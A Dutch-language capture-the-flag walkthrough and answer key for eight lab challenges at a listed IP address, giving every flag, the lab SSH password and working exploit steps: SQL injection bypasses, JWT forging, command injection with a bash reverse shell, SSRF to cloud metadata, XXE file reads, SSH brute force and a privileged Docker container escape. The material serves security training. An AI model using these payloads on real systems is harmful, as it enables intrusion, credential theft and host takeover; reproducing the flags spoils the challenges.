| Challenge | Poort | Flag | Level |
|---|---|---|---|
| Login SQLi | 8001 | CTF{pwned_admin_via_sqli} | Easy |
| JWT Weak | 8002 | CTF{jwt_role_escalation} | Easy |
| Static Secrets | 8003 | CTF{follow_the_robots} | Easy |
| Command Injection | 8004 | CTF{rce_through_ping} | Medium |
| SSRF Internal | 8005 | CTF{ssrf_metadata_leak} | Medium |
| XML XXE | 8006 | CTF{xxe_file_disclosure} | Medium |
| SSH Brute Force | 2222 | CTF{brute_force_victory} | Medium |
| Container Breakout | 8007 | CTF{host_root_pwn} | Hacking God |
Kwetsbaarheid: SQL Injection in login formulier
De applicatie bouwt SQL queries door user input direct te concateneren:
query = f"SELECT username FROM users WHERE username = '{username}' AND password = '{password}'"
Bypass authenticatie met:
| Username | Password |
|---|---|
admin' -- | (leeg of willekeurig) |
' OR '1'='1' -- | (leeg) |
admin'/* | (leeg) |
Waarom werkt het: De query wordt:
SELECT username FROM users WHERE username = 'admin' --' AND password = ''
De -- maakt de password check commentaar.
Met sqlmap:
sqlmap -u "http://35.210.32.202:8001/login" --data="username=admin&password=test" --batch --dump
Kwetsbaarheid: Zwakke/raadbare JWT signing secret
Stap 1: Vraag een token aan:
curl "http://35.210.32.202:8002/login?username=hacker"
Stap 2: Bekijk de broncode (/source) — secret is secret
Stap 3: Forge een admin token met Python:
import jwt
from datetime import datetime, timedelta
payload = {
"sub": "hacker",
"role": "admin", # Verander van "user" naar "admin"
"iat": datetime.utcnow(),
"exp": datetime.utcnow() + timedelta(hours=1)
}
token = jwt.encode(payload, "secret", algorithm="HS256")
print(token)
Stap 4: Gebruik het token:
curl -H "Authorization: Bearer <forged_token>" "http://35.210.32.202:8002/admin"
Kwetsbaarheid: Gevoelige bestanden onthuld via robots.txt
Stap 1: Check robots.txt:
curl "http://35.210.32.202:8003/robots.txt"
Output onthult: Disallow: /config.bak
Stap 2: Verken de hidden directory:
curl "http://35.210.32.202:8003/hidden/"
Stap 3: Pak de flag:
curl "http://35.210.32.202:8003/hidden/flag.txt"
Met gobuster:
gobuster dir -u http://<host>:8003 -w /usr/share/wordlists/dirb/common.txt
Kwetsbaarheid: OS Command Injection via ping utility
De app voert ping -c 2 {user_input} uit met shell=True.
Test command chaining:
127.0.0.1; id
127.0.0.1 && cat /flag.txt
127.0.0.1 | cat /flag.txt
$(cat /flag.txt)
Reverse shell (geavanceerd):
# Op je machine:
nc -lvnp 4444
# In het veld:
127.0.0.1; bash -c 'bash -i >& /dev/tcp/<jouw-ip>/4444 0>&1'
Met commix:
commix -u "http://35.210.32.202:8004/" --data="host=127.0.0.1"
Kwetsbaarheid: Server-Side Request Forgery naar interne endpoints
De URL preview service valideert geen interne adressen.
Ontdek endpoints:
http://127.0.0.1:5000/api/endpoints
Toegang tot interne admin:
http://127.0.0.1:5000/internal/admin
http://127.0.0.1:5000/flag
Cloud metadata (op GCP/AWS):
# GCP
http://metadata.google.internal/computeMetadata/v1/instance/
# AWS
http://169.254.169.254/latest/meta-data/
Kwetsbaarheid: XML External Entity Injection
De XML parser staat external entities toe.
Payload om /flag.txt te lezen:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<user>
<name>&xxe;</name>
<email>test@test.com</email>
<role>user</role>
</user>
Met curl:
curl -X POST -H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]><user><name>&xxe;</name></user>' \
"http://35.210.32.202:8006/api/import"
/etc/passwd lezen:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
Kwetsbaarheid: Zwakke SSH credentials
Credentials: ctfuser:password123
Met hydra:
hydra -l ctfuser -P /usr/share/wordlists/rockyou.txt \
-s 2222 ssh://35.210.32.202 -t 4 -V
Met nmap:
nmap -p 2222 --script ssh-brute \
--script-args userdb=users.txt,passdb=passwords.txt 35.210.32.202
Met Metasploit:
msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 35.210.32.202
set RPORT 2222
set USERNAME ctfuser
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
run
Login en pak de flag:
ssh ctfuser@35.210.32.202 -p 2222
# Password: password123
cat /home/ctfuser/flag.txt
Kwetsbaarheid: SSRF naar Docker Remote API (dind)
De app biedt een fetcher die arbitraire HTTP-verzoeken uitvoert (inclusief POST) — een klassieke SSRF. Op het interne netwerk draait een Docker-in-Docker daemon op http://dind-host:2375.
Stap 1: Test verbinding:
curl "http://35.210.32.202:8007/fetch?url=http://dind-host:2375/_ping"
Antwoord: OK
Stap 2: Maak een container die de host flag print:
curl -X POST "http://35.210.32.202:8007/fetch" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "method=POST" \
--data-urlencode "content_type=json" \
--data-urlencode "url=http://dind-host:2375/containers/create" \
--data-urlencode 'body={
"Image":"alpine",
"Cmd":["/bin/sh","-c","cat /mnt/host/root/host-flag.txt"],
"HostConfig":{
"Binds":["/:/mnt/host:ro"],
"Privileged":true
}
}'
Noteer de Id uit de JSON response.
Stap 3: Start de container:
curl -X POST "http://35.210.32.202:8007/fetch" \
--data-urlencode "method=POST" \
--data-urlencode "url=http://dind-host:2375/containers/<ID>/start"
Stap 4: Haal de logs op (flag zichtbaar):
curl "http://35.210.32.202:8007/fetch?url=http://dind-host:2375/containers/<ID>/logs?stdout=1"
Flag: CTF{host_root_pwn}
Opmerking: dit is een gesimuleerde host (Docker-in-Docker). In echte omgevingen zou toegang tot /var/run/docker.sock of een onbeveiligde TCP API volledige host compromise betekenen.
# Kali Linux / Parrot OS (meeste tools voorgeïnstalleerd)
# Extra tools installeren
sudo apt update
sudo apt install -y hydra nmap sqlmap gobuster dirb nikto
# Python tools
pip3 install pyjwt requests
# Metasploit
sudo apt install -y metasploit-framework